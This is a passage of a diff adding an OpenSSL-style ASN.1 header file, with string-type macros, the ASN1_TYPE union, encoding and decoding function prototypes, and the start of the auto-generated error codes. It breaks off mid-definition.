+ +/* These determine what 'dumping' does, we can dump the + * content octets or the DER encoding: both use the + * RFC2253 #XXXXX notation. + */ + +#define ASN1_STRFLGS_DUMP_DER 0x200 + +/* All the string flags consistent with RFC2253, + * escaping control characters isn't essential in + * RFC2253 but it is advisable anyway. + */ + +#define ASN1_STRFLGS_RFC2253 (ASN1_STRFLGS_ESC_2253 | \ + ASN1_STRFLGS_ESC_CTRL | \ + ASN1_STRFLGS_ESC_MSB | \ + ASN1_STRFLGS_UTF8_CONVERT | \ + ASN1_STRFLGS_DUMP_UNKNOWN | \ + ASN1_STRFLGS_DUMP_DER) + +DECLARE_STACK_OF(ASN1_INTEGER) +DECLARE_ASN1_SET_OF(ASN1_INTEGER) + +DECLARE_STACK_OF(ASN1_GENERALSTRING) + +typedef struct asn1_type_st + { + int type; + union { + char *ptr; + ASN1_BOOLEAN boolean; + ASN1_STRING * asn1_string; + ASN1_OBJECT * object; + ASN1_INTEGER * integer; + ASN1_ENUMERATED * enumerated; + ASN1_BIT_STRING * bit_string; + ASN1_OCTET_STRING * octet_string; + ASN1_PRINTABLESTRING * printablestring; + ASN1_T61STRING * t61string; + ASN1_IA5STRING * ia5string; + ASN1_GENERALSTRING * generalstring; + ASN1_BMPSTRING * bmpstring; + ASN1_UNIVERSALSTRING * universalstring; + ASN1_UTCTIME * utctime; + ASN1_GENERALIZEDTIME * generalizedtime; + ASN1_VISIBLESTRING * visiblestring; + ASN1_UTF8STRING * utf8string; + /* set and sequence are left complete and still + * contain the set or sequence bytes */ + ASN1_STRING * set; + ASN1_STRING * sequence; + ASN1_VALUE * asn1_value; + } value; + } ASN1_TYPE; + +DECLARE_STACK_OF(ASN1_TYPE) +DECLARE_ASN1_SET_OF(ASN1_TYPE) + +typedef struct asn1_method_st + { + i2d_of_void *i2d; + d2i_of_void *d2i; + void *(*create)(void); + void (*destroy)(void *); + } ASN1_METHOD; + +/* This is used when parsing some Netscape objects */ +typedef struct asn1_header_st + { + ASN1_OCTET_STRING *header; + void *data; + ASN1_METHOD *meth; + } ASN1_HEADER; + +/* This is used to contain a list of bit names */ +typedef struct BIT_STRING_BITNAME_st { + int bitnum; + const char *lname; + const char *sname; +} BIT_STRING_BITNAME; + + +#define M_ASN1_STRING_length(x) ((x)->length) +#define M_ASN1_STRING_length_set(x, n) ((x)->length = (n)) +#define M_ASN1_STRING_type(x) ((x)->type) +#define M_ASN1_STRING_data(x) ((x)->data) + +/* Macros for string operations */ +#define M_ASN1_BIT_STRING_new() (ASN1_BIT_STRING *)\ + ASN1_STRING_type_new(V_ASN1_BIT_STRING) +#define M_ASN1_BIT_STRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_ASN1_BIT_STRING_dup(a) (ASN1_BIT_STRING *)\ + ASN1_STRING_dup((ASN1_STRING *)a) +#define M_ASN1_BIT_STRING_cmp(a,b) ASN1_STRING_cmp(\ + (ASN1_STRING *)a,(ASN1_STRING *)b) +#define M_ASN1_BIT_STRING_set(a,b,c) ASN1_STRING_set((ASN1_STRING *)a,b,c) + +#define M_ASN1_INTEGER_new() (ASN1_INTEGER *)\ + ASN1_STRING_type_new(V_ASN1_INTEGER) +#define M_ASN1_INTEGER_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_ASN1_INTEGER_dup(a) (ASN1_INTEGER *)ASN1_STRING_dup((ASN1_STRING *)a) +#define M_ASN1_INTEGER_cmp(a,b) ASN1_STRING_cmp(\ + (ASN1_STRING *)a,(ASN1_STRING *)b) + +#define M_ASN1_ENUMERATED_new() (ASN1_ENUMERATED *)\ + ASN1_STRING_type_new(V_ASN1_ENUMERATED) +#define M_ASN1_ENUMERATED_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_ASN1_ENUMERATED_dup(a) (ASN1_ENUMERATED *)ASN1_STRING_dup((ASN1_STRING *)a) +#define M_ASN1_ENUMERATED_cmp(a,b) ASN1_STRING_cmp(\ + (ASN1_STRING *)a,(ASN1_STRING *)b) + +#define M_ASN1_OCTET_STRING_new() (ASN1_OCTET_STRING *)\ + ASN1_STRING_type_new(V_ASN1_OCTET_STRING) +#define M_ASN1_OCTET_STRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_ASN1_OCTET_STRING_dup(a) (ASN1_OCTET_STRING *)\ + ASN1_STRING_dup((ASN1_STRING *)a) +#define M_ASN1_OCTET_STRING_cmp(a,b) ASN1_STRING_cmp(\ + (ASN1_STRING *)a,(ASN1_STRING *)b) +#define M_ASN1_OCTET_STRING_set(a,b,c) ASN1_STRING_set((ASN1_STRING *)a,b,c) +#define M_ASN1_OCTET_STRING_print(a,b) ASN1_STRING_print(a,(ASN1_STRING *)b) +#define M_i2d_ASN1_OCTET_STRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_OCTET_STRING,\ + V_ASN1_UNIVERSAL) + +#define B_ASN1_TIME \ + B_ASN1_UTCTIME | \ + B_ASN1_GENERALIZEDTIME + +#define B_ASN1_PRINTABLE \ + B_ASN1_NUMERICSTRING| \ + B_ASN1_PRINTABLESTRING| \ + B_ASN1_T61STRING| \ + B_ASN1_IA5STRING| \ + B_ASN1_BIT_STRING| \ + B_ASN1_UNIVERSALSTRING|\ + B_ASN1_BMPSTRING|\ + B_ASN1_UTF8STRING|\ + B_ASN1_SEQUENCE|\ + B_ASN1_UNKNOWN + +#define B_ASN1_DIRECTORYSTRING \ + B_ASN1_PRINTABLESTRING| \ + B_ASN1_TELETEXSTRING|\ + B_ASN1_BMPSTRING|\ + B_ASN1_UNIVERSALSTRING|\ + B_ASN1_UTF8STRING + +#define B_ASN1_DISPLAYTEXT \ + B_ASN1_IA5STRING| \ + B_ASN1_VISIBLESTRING| \ + B_ASN1_BMPSTRING|\ + B_ASN1_UTF8STRING + +#define M_ASN1_PRINTABLE_new() ASN1_STRING_type_new(V_ASN1_T61STRING) +#define M_ASN1_PRINTABLE_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_ASN1_PRINTABLE(a,pp) i2d_ASN1_bytes((ASN1_STRING *)a,\ + pp,a->type,V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_PRINTABLE(a,pp,l) \ + d2i_ASN1_type_bytes((ASN1_STRING **)a,pp,l, \ + B_ASN1_PRINTABLE) + +#define M_DIRECTORYSTRING_new() ASN1_STRING_type_new(V_ASN1_PRINTABLESTRING) +#define M_DIRECTORYSTRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_DIRECTORYSTRING(a,pp) i2d_ASN1_bytes((ASN1_STRING *)a,\ + pp,a->type,V_ASN1_UNIVERSAL) +#define M_d2i_DIRECTORYSTRING(a,pp,l) \ + d2i_ASN1_type_bytes((ASN1_STRING **)a,pp,l, \ + B_ASN1_DIRECTORYSTRING) + +#define M_DISPLAYTEXT_new() ASN1_STRING_type_new(V_ASN1_VISIBLESTRING) +#define M_DISPLAYTEXT_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_DISPLAYTEXT(a,pp) i2d_ASN1_bytes((ASN1_STRING *)a,\ + pp,a->type,V_ASN1_UNIVERSAL) +#define M_d2i_DISPLAYTEXT(a,pp,l) \ + d2i_ASN1_type_bytes((ASN1_STRING **)a,pp,l, \ + B_ASN1_DISPLAYTEXT) + +#define M_ASN1_PRINTABLESTRING_new() (ASN1_PRINTABLESTRING *)\ + ASN1_STRING_type_new(V_ASN1_PRINTABLESTRING) +#define M_ASN1_PRINTABLESTRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_ASN1_PRINTABLESTRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_PRINTABLESTRING,\ + V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_PRINTABLESTRING(a,pp,l) \ + (ASN1_PRINTABLESTRING *)d2i_ASN1_type_bytes\ + ((ASN1_STRING **)a,pp,l,B_ASN1_PRINTABLESTRING) + +#define M_ASN1_T61STRING_new() (ASN1_T61STRING *)\ + ASN1_STRING_type_new(V_ASN1_T61STRING) +#define M_ASN1_T61STRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_ASN1_T61STRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_T61STRING,\ + V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_T61STRING(a,pp,l) \ + (ASN1_T61STRING *)d2i_ASN1_type_bytes\ + ((ASN1_STRING **)a,pp,l,B_ASN1_T61STRING) + +#define M_ASN1_IA5STRING_new() (ASN1_IA5STRING *)\ + ASN1_STRING_type_new(V_ASN1_IA5STRING) +#define M_ASN1_IA5STRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_ASN1_IA5STRING_dup(a) \ + (ASN1_IA5STRING *)ASN1_STRING_dup((ASN1_STRING *)a) +#define M_i2d_ASN1_IA5STRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_IA5STRING,\ + V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_IA5STRING(a,pp,l) \ + (ASN1_IA5STRING *)d2i_ASN1_type_bytes((ASN1_STRING **)a,pp,l,\ + B_ASN1_IA5STRING) + +#define M_ASN1_UTCTIME_new() (ASN1_UTCTIME *)\ + ASN1_STRING_type_new(V_ASN1_UTCTIME) +#define M_ASN1_UTCTIME_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_ASN1_UTCTIME_dup(a) (ASN1_UTCTIME *)ASN1_STRING_dup((ASN1_STRING *)a) + +#define M_ASN1_GENERALIZEDTIME_new() (ASN1_GENERALIZEDTIME *)\ + ASN1_STRING_type_new(V_ASN1_GENERALIZEDTIME) +#define M_ASN1_GENERALIZEDTIME_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_ASN1_GENERALIZEDTIME_dup(a) (ASN1_GENERALIZEDTIME *)ASN1_STRING_dup(\ + (ASN1_STRING *)a) + +#define M_ASN1_TIME_new() (ASN1_TIME *)\ + ASN1_STRING_type_new(V_ASN1_UTCTIME) +#define M_ASN1_TIME_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_ASN1_TIME_dup(a) (ASN1_TIME *)ASN1_STRING_dup((ASN1_STRING *)a) + +#define M_ASN1_GENERALSTRING_new() (ASN1_GENERALSTRING *)\ + ASN1_STRING_type_new(V_ASN1_GENERALSTRING) +#define M_ASN1_GENERALSTRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_ASN1_GENERALSTRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_GENERALSTRING,\ + V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_GENERALSTRING(a,pp,l) \ + (ASN1_GENERALSTRING *)d2i_ASN1_type_bytes\ + ((ASN1_STRING **)a,pp,l,B_ASN1_GENERALSTRING) + +#define M_ASN1_UNIVERSALSTRING_new() (ASN1_UNIVERSALSTRING *)\ + ASN1_STRING_type_new(V_ASN1_UNIVERSALSTRING) +#define M_ASN1_UNIVERSALSTRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_ASN1_UNIVERSALSTRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_UNIVERSALSTRING,\ + V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_UNIVERSALSTRING(a,pp,l) \ + (ASN1_UNIVERSALSTRING *)d2i_ASN1_type_bytes\ + ((ASN1_STRING **)a,pp,l,B_ASN1_UNIVERSALSTRING) + +#define M_ASN1_BMPSTRING_new() (ASN1_BMPSTRING *)\ + ASN1_STRING_type_new(V_ASN1_BMPSTRING) +#define M_ASN1_BMPSTRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_ASN1_BMPSTRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_BMPSTRING,\ + V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_BMPSTRING(a,pp,l) \ + (ASN1_BMPSTRING *)d2i_ASN1_type_bytes\ + ((ASN1_STRING **)a,pp,l,B_ASN1_BMPSTRING) + +#define M_ASN1_VISIBLESTRING_new() (ASN1_VISIBLESTRING *)\ + ASN1_STRING_type_new(V_ASN1_VISIBLESTRING) +#define M_ASN1_VISIBLESTRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_ASN1_VISIBLESTRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_VISIBLESTRING,\ + V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_VISIBLESTRING(a,pp,l) \ + (ASN1_VISIBLESTRING *)d2i_ASN1_type_bytes\ + ((ASN1_STRING **)a,pp,l,B_ASN1_VISIBLESTRING) + +#define M_ASN1_UTF8STRING_new() (ASN1_UTF8STRING *)\ + ASN1_STRING_type_new(V_ASN1_UTF8STRING) +#define M_ASN1_UTF8STRING_free(a) ASN1_STRING_free((ASN1_STRING *)a) +#define M_i2d_ASN1_UTF8STRING(a,pp) \ + i2d_ASN1_bytes((ASN1_STRING *)a,pp,V_ASN1_UTF8STRING,\ + V_ASN1_UNIVERSAL) +#define M_d2i_ASN1_UTF8STRING(a,pp,l) \ + (ASN1_UTF8STRING *)d2i_ASN1_type_bytes\ + ((ASN1_STRING **)a,pp,l,B_ASN1_UTF8STRING) + + /* for the is_set parameter to i2d_ASN1_SET */ +#define IS_SEQUENCE 0 +#define IS_SET 1 + +DECLARE_ASN1_FUNCTIONS_fname(ASN1_TYPE, ASN1_ANY, ASN1_TYPE) + +int ASN1_TYPE_get(ASN1_TYPE *a); +void ASN1_TYPE_set(ASN1_TYPE *a, int type, void *value); +int ASN1_TYPE_set1(ASN1_TYPE *a, int type, const void *value); + +ASN1_OBJECT * ASN1_OBJECT_new(void ); +void ASN1_OBJECT_free(ASN1_OBJECT *a); +int i2d_ASN1_OBJECT(ASN1_OBJECT *a,unsigned char **pp); +ASN1_OBJECT * c2i_ASN1_OBJECT(ASN1_OBJECT **a,const unsigned char **pp, + long length); +ASN1_OBJECT * d2i_ASN1_OBJECT(ASN1_OBJECT **a,const unsigned char **pp, + long length); + +DECLARE_ASN1_ITEM(ASN1_OBJECT) + +DECLARE_STACK_OF(ASN1_OBJECT) +DECLARE_ASN1_SET_OF(ASN1_OBJECT) + +ASN1_STRING * ASN1_STRING_new(void); +void ASN1_STRING_free(ASN1_STRING *a); +ASN1_STRING * ASN1_STRING_dup(ASN1_STRING *a); +ASN1_STRING * ASN1_STRING_type_new(int type ); +int ASN1_STRING_cmp(ASN1_STRING *a, ASN1_STRING *b); + /* Since this is used to store all sorts of things, via macros, for now, make + its data void * */ +int ASN1_STRING_set(ASN1_STRING *str, const void *data, int len); +void ASN1_STRING_set0(ASN1_STRING *str, void *data, int len); +int ASN1_STRING_length(ASN1_STRING *x); +void ASN1_STRING_length_set(ASN1_STRING *x, int n); +int ASN1_STRING_type(ASN1_STRING *x); +unsigned char * ASN1_STRING_data(ASN1_STRING *x); + +DECLARE_ASN1_FUNCTIONS(ASN1_BIT_STRING) +int i2c_ASN1_BIT_STRING(ASN1_BIT_STRING *a,unsigned char **pp); +ASN1_BIT_STRING *c2i_ASN1_BIT_STRING(ASN1_BIT_STRING **a,const unsigned char **pp, + long length); +int ASN1_BIT_STRING_set(ASN1_BIT_STRING *a, unsigned char *d, + int length ); +int ASN1_BIT_STRING_set_bit(ASN1_BIT_STRING *a, int n, int value); +int ASN1_BIT_STRING_get_bit(ASN1_BIT_STRING *a, int n); + +#ifndef OPENSSL_NO_BIO +int ASN1_BIT_STRING_name_print(BIO *out, ASN1_BIT_STRING *bs, + BIT_STRING_BITNAME *tbl, int indent); +#endif +int ASN1_BIT_STRING_num_asc(char *name, BIT_STRING_BITNAME *tbl); +int ASN1_BIT_STRING_set_asc(ASN1_BIT_STRING *bs, char *name, int value, + BIT_STRING_BITNAME *tbl); + +int i2d_ASN1_BOOLEAN(int a,unsigned char **pp); +int d2i_ASN1_BOOLEAN(int *a,const unsigned char **pp,long length); + +DECLARE_ASN1_FUNCTIONS(ASN1_INTEGER) +int i2c_ASN1_INTEGER(ASN1_INTEGER *a,unsigned char **pp); +ASN1_INTEGER *c2i_ASN1_INTEGER(ASN1_INTEGER **a,const unsigned char **pp, + long length); +ASN1_INTEGER *d2i_ASN1_UINTEGER(ASN1_INTEGER **a,const unsigned char **pp, + long length); +ASN1_INTEGER * ASN1_INTEGER_dup(ASN1_INTEGER *x); +int ASN1_INTEGER_cmp(ASN1_INTEGER *x, ASN1_INTEGER *y); + +DECLARE_ASN1_FUNCTIONS(ASN1_ENUMERATED) + +int ASN1_UTCTIME_check(ASN1_UTCTIME *a); +ASN1_UTCTIME *ASN1_UTCTIME_set(ASN1_UTCTIME *s,time_t t); +int ASN1_UTCTIME_set_string(ASN1_UTCTIME *s, const char *str); +int ASN1_UTCTIME_cmp_time_t(const ASN1_UTCTIME *s, time_t t); +#if 0 +time_t ASN1_UTCTIME_get(const ASN1_UTCTIME *s); +#endif + +int ASN1_GENERALIZEDTIME_check(ASN1_GENERALIZEDTIME *a); +ASN1_GENERALIZEDTIME *ASN1_GENERALIZEDTIME_set(ASN1_GENERALIZEDTIME *s,time_t t); +int ASN1_GENERALIZEDTIME_set_string(ASN1_GENERALIZEDTIME *s, const char *str); + +DECLARE_ASN1_FUNCTIONS(ASN1_OCTET_STRING) +ASN1_OCTET_STRING * ASN1_OCTET_STRING_dup(ASN1_OCTET_STRING *a); +int ASN1_OCTET_STRING_cmp(ASN1_OCTET_STRING *a, ASN1_OCTET_STRING *b); +int ASN1_OCTET_STRING_set(ASN1_OCTET_STRING *str, const unsigned char *data, int len); + +DECLARE_ASN1_FUNCTIONS(ASN1_VISIBLESTRING) +DECLARE_ASN1_FUNCTIONS(ASN1_UNIVERSALSTRING) +DECLARE_ASN1_FUNCTIONS(ASN1_UTF8STRING) +DECLARE_ASN1_FUNCTIONS(ASN1_NULL) +DECLARE_ASN1_FUNCTIONS(ASN1_BMPSTRING) + +int UTF8_getc(const unsigned char *str, int len, unsigned long *val); +int UTF8_putc(unsigned char *str, int len, unsigned long value); + +DECLARE_ASN1_FUNCTIONS_name(ASN1_STRING, ASN1_PRINTABLE) + +DECLARE_ASN1_FUNCTIONS_name(ASN1_STRING, DIRECTORYSTRING) +DECLARE_ASN1_FUNCTIONS_name(ASN1_STRING, DISPLAYTEXT) +DECLARE_ASN1_FUNCTIONS(ASN1_PRINTABLESTRING) +DECLARE_ASN1_FUNCTIONS(ASN1_T61STRING) +DECLARE_ASN1_FUNCTIONS(ASN1_IA5STRING) +DECLARE_ASN1_FUNCTIONS(ASN1_GENERALSTRING) +DECLARE_ASN1_FUNCTIONS(ASN1_UTCTIME) +DECLARE_ASN1_FUNCTIONS(ASN1_GENERALIZEDTIME) +DECLARE_ASN1_FUNCTIONS(ASN1_TIME) + +DECLARE_ASN1_ITEM(ASN1_OCTET_STRING_NDEF) + +ASN1_TIME *ASN1_TIME_set(ASN1_TIME *s,time_t t); +int ASN1_TIME_check(ASN1_TIME *t); +ASN1_GENERALIZEDTIME *ASN1_TIME_to_generalizedtime(ASN1_TIME *t, ASN1_GENERALIZEDTIME **out); + +int i2d_ASN1_SET(STACK *a, unsigned char **pp, + i2d_of_void *i2d, int ex_tag, int ex_class, int is_set); +STACK * d2i_ASN1_SET(STACK **a, const unsigned char **pp, long length, + d2i_of_void *d2i, void (*free_func)(void *), + int ex_tag, int ex_class); + +#ifndef OPENSSL_NO_BIO +int i2a_ASN1_INTEGER(BIO *bp, ASN1_INTEGER *a); +int a2i_ASN1_INTEGER(BIO *bp,ASN1_INTEGER *bs,char *buf,int size); +int i2a_ASN1_ENUMERATED(BIO *bp, ASN1_ENUMERATED *a); +int a2i_ASN1_ENUMERATED(BIO *bp,ASN1_ENUMERATED *bs,char *buf,int size); +int i2a_ASN1_OBJECT(BIO *bp,ASN1_OBJECT *a); +int a2i_ASN1_STRING(BIO *bp,ASN1_STRING *bs,char *buf,int size); +int i2a_ASN1_STRING(BIO *bp, ASN1_STRING *a, int type); +#endif +int i2t_ASN1_OBJECT(char *buf,int buf_len,ASN1_OBJECT *a); + +int a2d_ASN1_OBJECT(unsigned char *out,int olen, const char *buf, int num); +ASN1_OBJECT *ASN1_OBJECT_create(int nid, unsigned char *data,int len, + const char *sn, const char *ln); + +int ASN1_INTEGER_set(ASN1_INTEGER *a, long v); +long ASN1_INTEGER_get(ASN1_INTEGER *a); +ASN1_INTEGER *BN_to_ASN1_INTEGER(BIGNUM *bn, ASN1_INTEGER *ai); +BIGNUM *ASN1_INTEGER_to_BN(ASN1_INTEGER *ai,BIGNUM *bn); + +int ASN1_ENUMERATED_set(ASN1_ENUMERATED *a, long v); +long ASN1_ENUMERATED_get(ASN1_ENUMERATED *a); +ASN1_ENUMERATED *BN_to_ASN1_ENUMERATED(BIGNUM *bn, ASN1_ENUMERATED *ai); +BIGNUM *ASN1_ENUMERATED_to_BN(ASN1_ENUMERATED *ai,BIGNUM *bn); + +/* General */ +/* given a string, return the correct type, max is the maximum length */ +int ASN1_PRINTABLE_type(const unsigned char *s, int max); + +int i2d_ASN1_bytes(ASN1_STRING *a, unsigned char **pp, int tag, int xclass); +ASN1_STRING *d2i_ASN1_bytes(ASN1_STRING **a, const unsigned char **pp, + long length, int Ptag, int Pclass); +unsigned long ASN1_tag2bit(int tag); +/* type is one or more of the B_ASN1_ values. */ +ASN1_STRING *d2i_ASN1_type_bytes(ASN1_STRING **a,const unsigned char **pp, + long length,int type); + +/* PARSING */ +int asn1_Finish(ASN1_CTX *c); +int asn1_const_Finish(ASN1_const_CTX *c); + +/* SPECIALS */ +int ASN1_get_object(const unsigned char **pp, long *plength, int *ptag, + int *pclass, long omax); +int ASN1_check_infinite_end(unsigned char **p,long len); +int ASN1_const_check_infinite_end(const unsigned char **p,long len); +void ASN1_put_object(unsigned char **pp, int constructed, int length, + int tag, int xclass); +int ASN1_put_eoc(unsigned char **pp); +int ASN1_object_size(int constructed, int length, int tag); + +/* Used to implement other functions */ +void *ASN1_dup(i2d_of_void *i2d, d2i_of_void *d2i, char *x); + +#define ASN1_dup_of(type,i2d,d2i,x) \ + ((type*)ASN1_dup(CHECKED_I2D_OF(type, i2d), \ + CHECKED_D2I_OF(type, d2i), \ + CHECKED_PTR_OF(type, x))) + +#define ASN1_dup_of_const(type,i2d,d2i,x) \ + ((type*)ASN1_dup(CHECKED_I2D_OF(const type, i2d), \ + CHECKED_D2I_OF(type, d2i), \ + CHECKED_PTR_OF(const type, x))) + +void *ASN1_item_dup(const ASN1_ITEM *it, void *x); + +/* ASN1 alloc/free macros for when a type is only used internally */ + +#define M_ASN1_new_of(type) (type *)ASN1_item_new(ASN1_ITEM_rptr(type)) +#define M_ASN1_free_of(x, type) \ + ASN1_item_free(CHECKED_PTR_OF(type, x), ASN1_ITEM_rptr(type)) + +#ifndef OPENSSL_NO_FP_API +void *ASN1_d2i_fp(void *(*xnew)(void), d2i_of_void *d2i, FILE *in, void **x); + +#define ASN1_d2i_fp_of(type,xnew,d2i,in,x) \ + ((type*)ASN1_d2i_fp(CHECKED_NEW_OF(type, xnew), \ + CHECKED_D2I_OF(type, d2i), \ + in, \ + CHECKED_PPTR_OF(type, x))) + +void *ASN1_item_d2i_fp(const ASN1_ITEM *it, FILE *in, void *x); +int ASN1_i2d_fp(i2d_of_void *i2d,FILE *out,void *x); + +#define ASN1_i2d_fp_of(type,i2d,out,x) \ + (ASN1_i2d_fp(CHECKED_I2D_OF(type, i2d), \ + out, \ + CHECKED_PTR_OF(type, x))) + +#define ASN1_i2d_fp_of_const(type,i2d,out,x) \ + (ASN1_i2d_fp(CHECKED_I2D_OF(const type, i2d), \ + out, \ + CHECKED_PTR_OF(const type, x))) + +int ASN1_item_i2d_fp(const ASN1_ITEM *it, FILE *out, void *x); +int ASN1_STRING_print_ex_fp(FILE *fp, ASN1_STRING *str, unsigned long flags); +#endif + +int ASN1_STRING_to_UTF8(unsigned char **out, ASN1_STRING *in); + +#ifndef OPENSSL_NO_BIO +void *ASN1_d2i_bio(void *(*xnew)(void), d2i_of_void *d2i, BIO *in, void **x); + +#define ASN1_d2i_bio_of(type,xnew,d2i,in,x) \ + ((type*)ASN1_d2i_bio( CHECKED_NEW_OF(type, xnew), \ + CHECKED_D2I_OF(type, d2i), \ + in, \ + CHECKED_PPTR_OF(type, x))) + +void *ASN1_item_d2i_bio(const ASN1_ITEM *it, BIO *in, void *x); +int ASN1_i2d_bio(i2d_of_void *i2d,BIO *out, unsigned char *x); + +#define ASN1_i2d_bio_of(type,i2d,out,x) \ + (ASN1_i2d_bio(CHECKED_I2D_OF(type, i2d), \ + out, \ + CHECKED_PTR_OF(type, x))) + +#define ASN1_i2d_bio_of_const(type,i2d,out,x) \ + (ASN1_i2d_bio(CHECKED_I2D_OF(const type, i2d), \ + out, \ + CHECKED_PTR_OF(const type, x))) + +int ASN1_item_i2d_bio(const ASN1_ITEM *it, BIO *out, void *x); +int ASN1_UTCTIME_print(BIO *fp,ASN1_UTCTIME *a); +int ASN1_GENERALIZEDTIME_print(BIO *fp,ASN1_GENERALIZEDTIME *a); +int ASN1_TIME_print(BIO *fp,ASN1_TIME *a); +int ASN1_STRING_print(BIO *bp,ASN1_STRING *v); +int ASN1_STRING_print_ex(BIO *out, ASN1_STRING *str, unsigned long flags); +int ASN1_parse(BIO *bp,const unsigned char *pp,long len,int indent); +int ASN1_parse_dump(BIO *bp,const unsigned char *pp,long len,int indent,int dump); +#endif +const char *ASN1_tag2str(int tag); + +/* Used to load and write netscape format cert/key */ +int i2d_ASN1_HEADER(ASN1_HEADER *a,unsigned char **pp); +ASN1_HEADER *d2i_ASN1_HEADER(ASN1_HEADER **a,const unsigned char **pp, long length); +ASN1_HEADER *ASN1_HEADER_new(void ); +void ASN1_HEADER_free(ASN1_HEADER *a); + +int ASN1_UNIVERSALSTRING_to_string(ASN1_UNIVERSALSTRING *s); + +/* Not used that much at this point, except for the first two */ +ASN1_METHOD *X509_asn1_meth(void); +ASN1_METHOD *RSAPrivateKey_asn1_meth(void); +ASN1_METHOD *ASN1_IA5STRING_asn1_meth(void); +ASN1_METHOD *ASN1_BIT_STRING_asn1_meth(void); + +int ASN1_TYPE_set_octetstring(ASN1_TYPE *a, + unsigned char *data, int len); +int ASN1_TYPE_get_octetstring(ASN1_TYPE *a, + unsigned char *data, int max_len); +int ASN1_TYPE_set_int_octetstring(ASN1_TYPE *a, long num, + unsigned char *data, int len); +int ASN1_TYPE_get_int_octetstring(ASN1_TYPE *a,long *num, + unsigned char *data, int max_len); + +STACK *ASN1_seq_unpack(const unsigned char *buf, int len, + d2i_of_void *d2i, void (*free_func)(void *)); +unsigned char *ASN1_seq_pack(STACK *safes, i2d_of_void *i2d, + unsigned char **buf, int *len ); +void *ASN1_unpack_string(ASN1_STRING *oct, d2i_of_void *d2i); +void *ASN1_item_unpack(ASN1_STRING *oct, const ASN1_ITEM *it); +ASN1_STRING *ASN1_pack_string(void *obj, i2d_of_void *i2d, + ASN1_OCTET_STRING **oct); + +#define ASN1_pack_string_of(type,obj,i2d,oct) \ + (ASN1_pack_string(CHECKED_PTR_OF(type, obj), \ + CHECKED_I2D_OF(type, i2d), \ + oct)) + +ASN1_STRING *ASN1_item_pack(void *obj, const ASN1_ITEM *it, ASN1_OCTET_STRING **oct); + +void ASN1_STRING_set_default_mask(unsigned long mask); +int ASN1_STRING_set_default_mask_asc(char *p); +unsigned long ASN1_STRING_get_default_mask(void); +int ASN1_mbstring_copy(ASN1_STRING **out, const unsigned char *in, int len, + int inform, unsigned long mask); +int ASN1_mbstring_ncopy(ASN1_STRING **out, const unsigned char *in, int len, + int inform, unsigned long mask, + long minsize, long maxsize); + +ASN1_STRING *ASN1_STRING_set_by_NID(ASN1_STRING **out, + const unsigned char *in, int inlen, int inform, int nid); +ASN1_STRING_TABLE *ASN1_STRING_TABLE_get(int nid); +int ASN1_STRING_TABLE_add(int, long, long, unsigned long, unsigned long); +void ASN1_STRING_TABLE_cleanup(void); + +/* ASN1 template functions */ + +/* Old API compatible functions */ +ASN1_VALUE *ASN1_item_new(const ASN1_ITEM *it); +void ASN1_item_free(ASN1_VALUE *val, const ASN1_ITEM *it); +ASN1_VALUE * ASN1_item_d2i(ASN1_VALUE **val, const unsigned char **in, long len, const ASN1_ITEM *it); +int ASN1_item_i2d(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it); +int ASN1_item_ndef_i2d(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it); + +void ASN1_add_oid_module(void); + +ASN1_TYPE *ASN1_generate_nconf(char *str, CONF *nconf); +ASN1_TYPE *ASN1_generate_v3(char *str, X509V3_CTX *cnf); + +typedef int asn1_output_data_fn(BIO *out, BIO *data, ASN1_VALUE *val, int flags, + const ASN1_ITEM *it); + +int int_smime_write_ASN1(BIO *bio, ASN1_VALUE *val, BIO *data, int flags, + int ctype_nid, int econt_nid, + STACK_OF(X509_ALGOR) *mdalgs, + asn1_output_data_fn *data_fn, + const ASN1_ITEM *it); +ASN1_VALUE *SMIME_read_ASN1(BIO *bio, BIO **bcont, const ASN1_ITEM *it); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_ASN1_strings(void); + +/* Error codes for the ASN1 functions. */ + +/* Function codes. */ +#define ASN1_F_A2D_ASN1_OBJECT 100 +#define ASN1_F_A2I_ASN1_ENUMERATED 101 +#define ASN1_F_A2I_ASN1_INTEGER 102 +#define ASN1_F_A2I_ASN1_STRING 103 +#define ASN1_F_APPEND_EXP 176 +#define 